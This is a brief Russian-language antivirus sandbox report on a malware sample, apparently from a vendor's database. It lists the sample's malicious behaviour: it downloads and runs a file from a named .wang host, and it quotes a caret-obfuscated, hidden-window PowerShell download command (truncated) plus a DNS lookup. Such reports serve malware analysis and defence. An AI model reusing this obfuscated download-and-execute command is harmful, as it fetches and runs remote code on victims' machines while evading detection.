Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://transporingsytw.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "p^oWE^rsHe^ll.E^xE^ -^Ex^EC^u^t^i^onpoLi^C^y bYPa^s^S ^-^noP^rofil^e -^w^iNDOwS^tyl^E ^HI^Dd^e^n ^(NeW-^oB^JEC^T^ S^YsTe^m^.n^ET.w^eBCliEnT^)^.dO^wN^loa^D^fi^lE('http://trans...
Сетевая активность
UDP
- DNS ASK tr#####ringsytw.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "p^oWE^rsHe^ll.E^xE^ -^Ex^EC^u^t^i^onpoLi^C^y bYPa^s^S ^-^noP^rofil^e -^w^iNDOwS^tyl^E ^HI^Dd^e^n ^(NeW-^oB^JEC^T^ S^YsTe^m^.n^ET.w^eBCliEnT^)^.dO^wN^loa^D^fi^lE('http://trans...' (со скрытым окном)
